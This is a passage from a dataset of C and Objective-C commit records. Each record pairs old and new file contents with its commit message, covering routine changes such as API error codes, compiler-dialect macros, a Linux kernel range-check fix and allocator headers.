ium-crosswalk,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,markYoungH\/chromium.src,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,ondra-novak\/chromium.src,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,hujiajie\/pa-chromium,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,dednal\/chromium.src,patrickm\/chromium.src,nacl-webkit\/chrome_deps"}
{"commit":"ee1c651b874656b27267266797d6fb693764c621","old_file":"BBBAPI\/BBBAPI\/Classes\/BBAAPIErrors.h","new_file":"BBBAPI\/BBBAPI\/Classes\/BBAAPIErrors.h","old_contents":"\/\/\n\/\/  BBAAPIErrors.h\n\/\/  BBAAPI\n\/\/\n\/\/  Created by Owen Worley on 11\/08\/2014.\n\/\/  Copyright (c) 2014 Blinkbox Books. All rights reserved.\n\/\/\n\nNS_ENUM(NSInteger, BBAAPIError) {\n    \/**\n     *  Used when needed parameter is not supplied to the method\n     *  or when object is supplied but it has wrong type or \n     *  for example one of it's needed properties is not set\n     *\/\n    BBAAPIWrongUsage = 700,\n    \/**\n     *  Error returned when for any reason API call cannot connect to the server\n     *\/\n    BBAAPIErrorCouldNotConnect = 701,\n    \/**\n     *  Returned when call cannot be authenticated, or when server returns 401\n     *\/\n    BBAAPIErrorUnauthorised = 702,\n    \/**\n     *  Used when server cannot find a resource and returns 404\n     *\/\n    BBAAPIErrorNotFound = 703,\n    \/**\n     *  Used when server returns 500\n     *\/\n    BBAAPIServerError = 704,\n    \/**\n     *  Used when server returns 403\n     *\/\n    BBAAPIErrorForbidden = 705,\n    \/**\n     *  Used when we cannot decode or read data returned from the server\n     *\/\n    BBAAPIUnreadableData = 706,\n    \/**\n     *  Used when the server returns a 400 (Bad Request)\n     *\/\n    BBAAPIBadRequest = 707,\n};\n\n","new_contents":"\/\/\n\/\/  BBAAPIErrors.h\n\/\/  BBAAPI\n\/\/\n\/\/  Created by Owen Worley on 11\/08\/2014.\n\/\/  Copyright (c) 2014 Blinkbox Books. All rights reserved.\n\/\/\n\nNS_ENUM(NSInteger, BBAAPIError) {\n    \/**\n     *  Used when needed parameter is not supplied to the method\n     *  or when object is supplied but it has wrong type or \n     *  for example one of it's needed properties is not set\n     *\/\n    BBAAPIWrongUsage = 700,\n    \/**\n     *  Error returned when for any reason API call cannot connect to the server\n     *\/\n    BBAAPIErrorCouldNotConnect = 701,\n    \/**\n     *  Returned when call cannot be authenticated, or when server returns 401\n     *\/\n    BBAAPIErrorUnauthorised = 702,\n    \/**\n     *  Used when server cannot find a resource and returns 404\n     *\/\n    BBAAPIErrorNotFound = 703,\n    \/**\n     *  Used when server returns 500\n     *\/\n    BBAAPIServerError = 704,\n    \/**\n     *  Used when server returns 403\n     *\/\n    BBAAPIErrorForbidden = 705,\n    \/**\n     *  Used when we cannot decode or read data returned from the server\n     *\/\n    BBAAPIUnreadableData = 706,\n    \/**\n     *  Used when the server returns a 400 (Bad Request)\n     *\/\n    BBAAPIErrorBadRequest = 707,\n    \/**\n     *  Used when the server returns a 409 (Conflict)\n     *\/\n    BBAAPIErrorConflict = 708,\n};\n\n","subject":"Add BBAAPIError code for 409 conflict","message":"Add BBAAPIError code for 409 conflict\n","lang":"C","license":"mit","repos":"blinkboxbooks\/blinkbox-network.objc,blinkboxbooks\/blinkbox-network.objc"}
{"commit":"93c6f1cc5f73223cdd9f68d765a241188ae8d009","old_file":"socket.h","new_file":"socket.h","old_contents":"#include \"main.h\"\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#include <netdb.h>\n#include <errno.h>\n#include <cstdio>","new_contents":"#include \"main.h\"\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#include <arpa\/nameser.h>\n#include <netdb.h>\n#include <resolv.h>\n#include <errno.h>\n#include <cstdio>","subject":"Include a couple more important headers.","message":"Include a couple more important headers.\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"40682086fa8c772523e418515969038aa6deca29","old_file":"PWG3\/PWG3LinkDef.h","new_file":"PWG3\/PWG3LinkDef.h","old_contents":"#ifdef __CINT__\n\n#pragma link off all glols;\n#pragma link off all classes;\n#pragma link off all functions;\n\n\n\n#endif\n","new_contents":"#ifdef __CINT__\n\n#pragma link off all glols;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class AliD0toKpi+;\n#pragma link C++ class AliD0toKpiAnalysis+;\n#pragma link C++ class AliBtoJPSItoEle+;\n#pragma link C++ class AliBtoJPSItoEleAnalysis+;\n\n\n#endif\n","subject":"Move AliD0toKpi* and AliBtoJPSI* from libPWG3base to libPWG3 (Andrea)","message":"Move AliD0toKpi* and AliBtoJPSI* from libPWG3base to libPWG3 (Andrea)\n\n","lang":"C","license":"bsd-3-clause","repos":"ecalvovi\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,jgrosseo\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot"}
{"commit":"63d54af34ad17a158024b9c139b33253cc645274","old_file":"SWSheetController.h","new_file":"SWSheetController.h","old_contents":"\/\/\n\/\/  PMDisplaySheet.h\n\/\/  This file is part of the \"SWApplicationSupport\" project, and is distributed under the MIT License.\n\/\/\n\/\/  Created by Samuel Williams on 10\/07\/05.\n\/\/  Copyright 2005 Samuel Williams. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n@class SWSheetController;\n\n@protocol SWSheetDelegate\n- (void) sheetController: (SWSheetController*)controller didEndWithResult:(NSInteger) result;\n@end\n\n@interface SWSheetController : NSWindowController\n\n@property(nonatomic,strong) IBOutlet NSWindow * parent;\n@property(nonatomic,unsafe_unretained) id delegate;\n\n\/\/ Override this to perform setup of the sheet before it is used:\n- (void)prepareSheet;\n\n\/\/ Override this to return the name of the nib that contains the sheet\n- (NSString *) nibName;\n\n- (IBAction) showSheet: (id)sender;\n\n- (IBAction) cancelSheet: (id) sender;\n- (IBAction) processSheet: (id) sender;\n- (void) sheetDidEnd:(NSWindow *)sheet returnCode:(NSInteger)returnCode contextInfo:(id)contextInfo;\n\n\/* Convenience function *\/\n@property (nonatomic, readonly, strong) NSManagedObjectContext *managedObjectContext;\n\n@end\n\n@interface NSObject (SWSheetControllerDelegate)\n- (void) sheetController: (SWSheetController*)controller didEndWithResult:(NSInteger) result;\n@end\n","new_contents":"\/\/\n\/\/  PMDisplaySheet.h\n\/\/  This file is part of the \"SWApplicationSupport\" project, and is distributed under the MIT License.\n\/\/\n\/\/  Created by Samuel Williams on 10\/07\/05.\n\/\/  Copyright 2005 Samuel Williams. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n@class SWSheetController;\n\n@protocol SWSheetDelegate\n- (void) sheetController: (SWSheetController*)controller didEndWithResult:(NSInteger) result;\n@end\n\n@interface SWSheetController : NSWindowController\n\n@property(nonatomic,strong) IBOutlet NSWindow * parent;\n@property(nonatomic,unsafe_unretained) id delegate;\n\n\/\/ Override this to perform setup of the sheet before it is used:\n- (void)prepareSheet;\n\n\/\/ Override this to return the name of the nib that contains the sheet\n- (NSString *) nibName;\n\n- (IBAction) showSheet: (id)sender;\n\n- (IBAction) cancelSheet: (id) sender;\n- (IBAction) processSheet: (id) sender;\n- (void) sheetDidEnd:(NSWindow *)sheet returnCode:(NSInteger)returnCode contextInfo:(id)contextInfo;\n\n\/* Convenience function *\/\n- (NSManagedObjectContext *)managedObjectContext;\n\n@end\n\n@interface NSObject (SWSheetControllerDelegate)\n- (void) sheetController: (SWSheetController*)controller didEndWithResult:(NSInteger) result;\n@end\n","subject":"Revert back to method, since it's not strictly a getter.","message":"Revert back to method, since it's not strictly a getter.\n","lang":"C","license":"mit","repos":"oriontransfer\/SWApplicationSupport"}
{"commit":"d1320f5b3bf39c62adf5280161335d58e22e1ea9","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconstexpr float kCurrentVersion = 1.55f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\n\/\/ constexpr might help avoid that, but then it breaks my fragile upgrade-needed\r\n\/\/ detection code, so this should be left as const.\r\nconst float kCurrentVersion = 1.55f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","subject":"Revert constexpr so that upgrade detection works","message":"Revert constexpr so that upgrade detection works\n","lang":"C","license":"apache-2.0","repos":"google\/UIforETW,google\/UIforETW,google\/UIforETW,google\/UIforETW"}
{"commit":"a7e4029b1f08c6f2cfbc66eb89e30aec79f2eeed","old_file":"BStream.h","new_file":"BStream.h","old_contents":"","new_contents":"#ifndef TUVOK_BSTREAM_H\n#define TUVOK_BSTREAM_H\n\n#include <cstdlib>\n\nstruct BStreamDescriptor {\n  uint64_t elements; \/\/\/< number of elements in the stream\n  size_t components;\n  size_t width;      \/\/\/< byte width\n  bool is_signed;\n  bool fp;           \/\/\/< is it floating point?\n  bool big_endian;\n  size_t timesteps;\n};\n\n#endif \n\/*\n   For more information, please see: http:\/\/software.sci.utah.edu\n\n   The MIT License\n\n   Copyright (c) 2012 Scientific Computing and Imaging Institute,\n                      Interactive Visualization and Data Analysis Group.\n\n\n   Permission is hereby granted, free of charge, to any person obtaining a\n   copy of this software and associated documentation files (the \"Software\"),\n   to deal in the Software without restriction, including without limitation\n   the rights to use, copy, modify, merge, publish, distribute, sublicense,\n   and\/or sell copies of the Software, and to permit persons to whom the\n   Software is furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included\n   in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n   OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n   THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n   FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n   DEALINGS IN THE SOFTWARE.\n*\/\n","subject":"Add a descriptor for binary streams.","message":"Add a descriptor for binary streams.\n\ngit-svn-id: 0a20d38d1bcdb3210d244a647211d61b0aabf366@266 5b8196f7-c1c0-4be6-8b13-4feed349168d\n","lang":"C","license":"mit","repos":"BlueBrain\/Tuvok,BlueBrain\/Tuvok,BlueBrain\/Tuvok"}
{"commit":"20e1c433e05c7147af5c267e0e0a38a781a6efb4","old_file":"thrust\/detail\/config\/cpp_dialect.h","new_file":"thrust\/detail\/config\/cpp_dialect.h","old_contents":"\/*\n *  Copyright 2018 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#pragma once\n\n#if   __cplusplus < 201103L\n  #define THRUST_CPP03\n  #define THRUST_CPP_DIALECT 2003\n#elif __cplusplus < 201402L\n  #define THRUST_CPP11\n  #define THRUST_CPP_DIALECT 2011\n#elif __cplusplus < 201703L\n  #define THRUST_CPP14\n  #define THRUST_CPP_DIALECT 2014\n#else\n  #define THRUST_CPP17\n  #define THRUST_CPP_DIALECT 2017\n#endif\n\n","new_contents":"\/*\n *  Copyright 2018 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#pragma once\n\n#ifdef _MSC_VER\n  #define THRUST_CPP_VER _MSVC_LANG\n#else\n  #define THRUST_CPP_VER __cplusplus\n#endif\n\n#if   THRUST_CPP_VER < 201103L\n  #define THRUST_CPP03\n  #define THRUST_CPP_DIALECT 2003\n#elif THRUST_CPP_VER < 201402L\n  #define THRUST_CPP11\n  #define THRUST_CPP_DIALECT 2011\n#elif THRUST_CPP_VER < 201703L\n  #define THRUST_CPP14\n  #define THRUST_CPP_DIALECT 2014\n#else\n  #define THRUST_CPP17\n  #define THRUST_CPP_DIALECT 2017\n#endif\n\n#undef THRUST_CPP_VER\n","subject":"Handle MSVC's definition of __cplusplus","message":" Handle MSVC's definition of __cplusplus\n\nMSVC doesnt define __cplusplus correctly unless a compiler flag is passed (\/Zc:__cplusplus) but _MSVC_LANG is defined correctly.\nTo avoid users needing to pass an extra compile flag, I suggest we handle it in the cpp_dialect.h file\n","lang":"C","license":"apache-2.0","repos":"thrust\/thrust,jaredhoberock\/thrust,jaredhoberock\/thrust,thrust\/thrust,jaredhoberock\/thrust,jaredhoberock\/thrust,jaredhoberock\/thrust,thrust\/thrust,andrewcorrigan\/thrust-multi-permutation-iterator,andrewcorrigan\/thrust-multi-permutation-iterator,thrust\/thrust,thrust\/thrust,andrewcorrigan\/thrust-multi-permutation-iterator"}
{"commit":"b928ab3a7fdbbd3e29f555b1c2b840ffe310f50b","old_file":"Library\/JCNotificationBanner.h","new_file":"Library\/JCNotificationBanner.h","old_contents":"#import <Foundation\/Foundation.h>\n\ntypedef void (^JCNotificationBannerTapHandlingBlock)();\n\n@interface JCNotificationBanner : NSObject\n\n@property (nonatomic) NSString* title;\n@property (nonatomic) NSString* message;\n@property (nonatomic, strong) JCNotificationBannerTapHandlingBlock tapHandler;\n\n- (JCNotificationBanner*) initWithTitle:(NSString*)title\n                                message:(NSString*)message\n                             tapHandler:(JCNotificationBannerTapHandlingBlock)tapHandler;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\ntypedef void (^JCNotificationBannerTapHandlingBlock)();\n\n@interface JCNotificationBanner : NSObject\n\n@property (nonatomic) NSString* title;\n@property (nonatomic) NSString* message;\n@property (nonatomic, copy) JCNotificationBannerTapHandlingBlock tapHandler;\n\n- (JCNotificationBanner*) initWithTitle:(NSString*)title\n                                message:(NSString*)message\n                             tapHandler:(JCNotificationBannerTapHandlingBlock)tapHandler;\n\n@end\n","subject":"Set ARC property semantics to \"copy\" for block.","message":"Set ARC property semantics to \"copy\" for block.\n\nIt seems that ARC should be copying automatically when assigning to a \"strong\" property of a block type, and this generally appears to be working. But there also appears to be a bug in certain compiler versions in which release mode contains optimizations which do not copy the block as expected (thus leading to an EXC_BAD_ACCESS.) See http:\/\/stackoverflow.com\/questions\/12061756\/blocks-and-arc-copy-or-crash-with-release-build-caused-by-optimization-level for more information.\n","lang":"C","license":"mit","repos":"jcoleman\/JCNotificationBannerPresenter,bobqian1130\/JCNotificationBannerPresenter,mitchellporter\/JCNotificationBannerPresenter"}
{"commit":"25f42985825dd93f0593efe454e54c2aa13f7830","old_file":"arch\/x86\/lib\/usercopy.c","new_file":"arch\/x86\/lib\/usercopy.c","old_contents":"\/*\n * User address space access functions.\n *\n *  For licencing details see kernel-base\/COPYING\n *\/\n\n#include <linux\/highmem.h>\n#include <linux\/module.h>\n\n#include <asm\/word-at-a-time.h>\n#include <linux\/sched.h>\n\n\/*\n * best effort, GUP based copy_from_user() that is NMI-safe\n *\/\nunsigned long\ncopy_from_user_nmi(void *to, const void __user *from, unsigned long n)\n{\n\tunsigned long offset, addr = (unsigned long)from;\n\tunsigned long size, len = 0;\n\tstruct page *page;\n\tvoid *map;\n\tint ret;\n\n\tif (__range_not_ok(from, n, TASK_SIZE) == 0)\n\t\treturn len;\n\n\tdo {\n\t\tret = __get_user_pages_fast(addr, 1, 0, &page);\n\t\tif (!ret)\n\t\t\tbreak;\n\n\t\toffset = addr & (PAGE_SIZE - 1);\n\t\tsize = min(PAGE_SIZE - offset, n - len);\n\n\t\tmap = kmap_atomic(page);\n\t\tmemcpy(to, map+offset, size);\n\t\tkunmap_atomic(map);\n\t\tput_page(page);\n\n\t\tlen  += size;\n\t\tto   += size;\n\t\taddr += size;\n\n\t} while (len < n);\n\n\treturn len;\n}\nEXPORT_SYMBOL_GPL(copy_from_user_nmi);\n","new_contents":"\/*\n * User address space access functions.\n *\n *  For licencing details see kernel-base\/COPYING\n *\/\n\n#include <linux\/highmem.h>\n#include <linux\/module.h>\n\n#include <asm\/word-at-a-time.h>\n#include <linux\/sched.h>\n\n\/*\n * best effort, GUP based copy_from_user() that is NMI-safe\n *\/\nunsigned long\ncopy_from_user_nmi(void *to, const void __user *from, unsigned long n)\n{\n\tunsigned long offset, addr = (unsigned long)from;\n\tunsigned long size, len = 0;\n\tstruct page *page;\n\tvoid *map;\n\tint ret;\n\n\tif (__range_not_ok(from, n, TASK_SIZE))\n\t\treturn len;\n\n\tdo {\n\t\tret = __get_user_pages_fast(addr, 1, 0, &page);\n\t\tif (!ret)\n\t\t\tbreak;\n\n\t\toffset = addr & (PAGE_SIZE - 1);\n\t\tsize = min(PAGE_SIZE - offset, n - len);\n\n\t\tmap = kmap_atomic(page);\n\t\tmemcpy(to, map+offset, size);\n\t\tkunmap_atomic(map);\n\t\tput_page(page);\n\n\t\tlen  += size;\n\t\tto   += size;\n\t\taddr += size;\n\n\t} while (len < n);\n\n\treturn len;\n}\nEXPORT_SYMBOL_GPL(copy_from_user_nmi);\n","subject":"Fix broken LBR fixup code","message":"perf\/x86: Fix broken LBR fixup code\n\nI noticed that the LBR fixups were not working anymore\non programs where they used to. I tracked this down to\na recent change to copy_from_user_nmi():\n\n db0dc75d640 (\"perf\/x86: Check user address explicitly in copy_from_user_nmi()\")\n\nThis commit added a call to __range_not_ok() to the\ncopy_from_user_nmi() routine. The problem is that the logic\nof the test must be reversed. __range_not_ok() returns 0 if the\nrange is VALID. We want to return early from copy_from_user_nmi()\nif the range is NOT valid.\n\nSigned-off-by: Stephane Eranian <f199ae9781930a5b94b284ca2f471140752002a7@google.com>\nSigned-off-by: Peter Zijlstra <645ca7d3a8d3d4f60557176cd361ea8351edc32b@chello.nl>\nAcked-by: Arun Sharma <c2cb8b536bb785a11a9303a3d5590407e9ac6d77@fb.com>\nLink: 456f892a31581d7b07f7474f53a32b17b8649829@quad\nSigned-off-by: Ingo Molnar <9dbbbf0688fedc85ad4da37637f1a64b8c718ee2@kernel.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"9e2888609cbee2b693f5b54809d558981006b462","old_file":"test\/CFrontend\/2005-02-27-MarkGlobalConstant.c","new_file":"test\/CFrontend\/2005-02-27-MarkGlobalConstant.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -xc %s -S -o - | grep 'ctor_.* constant '\n\n\/\/ The synthetic global made by the CFE for big initializer should be marked\n\/\/ constant.\n\nvoid bar();\nvoid foo() {\n  char Blah[] = \"asdlfkajsdlfkajsd;lfkajds;lfkjasd;flkajsd;lkfja;sdlkfjasd\";\n  bar(Blah);\n}\n","subject":"Test that a global is marked constant when it can be.","message":"Test that a global is marked constant when it can be.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@20349 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap"}
{"commit":"4b516c3c5a41476be8b4ede752eea260879a0602","old_file":"includes\/StackAllocator.h","new_file":"includes\/StackAllocator.h","old_contents":"#ifndef STACKALLOCATOR_H\n#define STACKALLOCATOR_H\n\n#include \"Allocator.h\"\n\nclass StackAllocator : public Allocator {\nprotected:\n\tvoid* m_start_ptr;\n\tstd::size_t m_offset;\npublic:\n\tStackAllocator(const std::size_t totalSize);\n\n\tvirtual ~StackAllocator();\n\n\tvirtual void* Allocate(const std::size_t size, const short alignment = 0);\n\n\tvirtual void Free(const std::size_t size);\n\n\tvirtual void Init() override;\n\nprivate:\n\tStackAllocator(StackAllocator &stackAllocator);\n\n\tstruct AllocationHeader {\n\t\tchar padding;\n\t};\n\n};\n\n#endif \/* STACKALLOCATOR_H *\/","new_contents":"#ifndef STACKALLOCATOR_H\n#define STACKALLOCATOR_H\n\n#include \"Allocator.h\"\n\nclass StackAllocator : public Allocator {\nprotected:\n\tvoid* m_start_ptr;\n\tstd::size_t m_offset;\npublic:\n\tStackAllocator(const std::size_t totalSize);\n\n\tvirtual ~StackAllocator();\n\n\tvirtual void* Allocate(const std::size_t size, const short alignment = 0);\n\n\tvirtual void Free(void* ptr);\n\n\tvirtual void Init() override;\n\nprivate:\n\tStackAllocator(StackAllocator &stackAllocator);\n\n\tstruct AllocationHeader {\n\t\tunsigned short padding;\n\t};\n\n};\n\n#endif \/* STACKALLOCATOR_H *\/","subject":"Change allocation header member padding type from char to unsigned short","message":"Change allocation header member padding type from char to unsigned short\n","lang":"C","license":"mit","repos":"mtrebi\/memory-allocators"}
{"commit":"309368435839be91ebbf874ea00c2d5acb6b9c9e","old_file":"src\/readstat_io.h","new_file":"src\/readstat_io.h","old_contents":"\nint readstat_open(const char *filename);\nint readstat_close(int fd);\n#ifdef _AIX\noff64_t readstat_lseek(int fildes, off64_t offset, int whence);\n#else\noff_t readstat_lseek(int fildes, off_t offset, int whence);\n#endif\nreadstat_error_t readstat_update_progress(int fd, size_t file_size, \n        readstat_progress_handler progress_handler, void *user_ctx);\n","new_contents":"\nint readstat_open(const char *filename);\nint readstat_close(int fd);\n#if defined _WIN32 || defined __CYGWIN__\n_off64_t readstat_lseek(int fildes, _off64_t offset, int whence);\n#elif defined _AIX\noff64_t readstat_lseek(int fildes, off64_t offset, int whence);\n#else\noff_t readstat_lseek(int fildes, off_t offset, int whence);\n#endif\nreadstat_error_t readstat_update_progress(int fd, size_t file_size, \n        readstat_progress_handler progress_handler, void *user_ctx);\n","subject":"Update readstat_lseek header signature on Windows","message":"Update readstat_lseek header signature on Windows\n","lang":"C","license":"mit","repos":"ivarref\/ReadStat,ivarref\/ReadStat,WizardMac\/ReadStat,WizardMac\/ReadStat"}
{"commit":"88cf4c93e1fb0a39a2226abe4c869371ef0c6393","old_file":"ghighlighter\/main.c","new_file":"ghighlighter\/main.c","old_contents":"#include <stdlib.h>\n#include <pwd.h>\n#include <string.h>\n#include <gtk\/gtk.h>\n#include \"gh-main-window.h\"\n\nchar *\ndata_dir_path ()\n{\n  uid_t uid = getuid ();\n  struct passwd *pw = getpwuid (uid);\n\n  char *home_dir = pw->pw_dir;\n  char *data_dir = \"\/.ghighlighter-c\";\n\n  int length = strlen (home_dir);\n  length = length + strlen (data_dir);\n\n  char *result = malloc (length + sizeof (char));\n  strcat (result, home_dir);\n  strcat (result, data_dir);\n\n  return result;\n}\n\nint\nmain (int argc, char *argv[])\n{\n  char *data_dir = data_dir_path ();\n  free (data_dir);\n\n  GtkWidget *window;\n\n  gtk_init (&argc, &argv);\n\n  window = gh_main_window_create ();\n  gtk_widget_show_all (window);\n\n  gtk_main ();\n\n  return 0;\n}\n","new_contents":"#include <stdlib.h>\n#include <pwd.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <gtk\/gtk.h>\n#include \"gh-main-window.h\"\n\nchar *\ndata_dir_path ()\n{\n  uid_t uid = getuid ();\n  struct passwd *pw = getpwuid (uid);\n\n  char *home_dir = pw->pw_dir;\n  char *data_dir = \"\/.ghighlighter-c\";\n\n  int length = strlen (home_dir);\n  length = length + strlen (data_dir);\n\n  char *result = malloc (length + sizeof (char));\n  strcat (result, home_dir);\n  strcat (result, data_dir);\n\n  return result;\n}\n\nvoid\nsetup_environment (char *data_dir)\n{\n  mkdir (data_dir, 0755);\n}\n\nint\nmain (int argc, char *argv[])\n{\n  char *data_dir = data_dir_path ();\n  setup_environment (data_dir);\n  free (data_dir);\n\n  GtkWidget *window;\n\n  gtk_init (&argc, &argv);\n\n  window = gh_main_window_create ();\n  gtk_widget_show_all (window);\n\n  gtk_main ();\n\n  return 0;\n}\n","subject":"Create data directory on startup","message":"Create data directory on startup\n","lang":"C","license":"mit","repos":"chdorner\/ghighlighter-c"}
{"commit":"d3bc899d9bc4ccc22e4e1cf831e351f7441eed03","old_file":"Sources\/BCObjectModeling.h","new_file":"Sources\/BCObjectModeling.h","old_contents":"","new_contents":"\/\/\n\/\/  BCObjectModeling.h\n\/\/  ClearCostMobile\n\/\/\n\/\/  Created by Seth Kingsley on 2\/6\/13.\n\/\/  Copyright (c) 2013 Monkey Republic Design, LLC. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class RKObjectMapping, RKObjectManager;\n\n@protocol BCObjectModeling <NSObject>\n\n+ (RKObjectMapping *)objectMapping;\n+ (void)registerWithObjectManager:(RKObjectManager *)objectManager;\n\n@end\n","subject":"Add a protocol for exposing RestKit object mapping and request information with the model implementations.","message":"Add a protocol for exposing RestKit object mapping and request information with the model implementations.\n","lang":"C","license":"bsd-3-clause","repos":"sethk\/BushidoCore"}
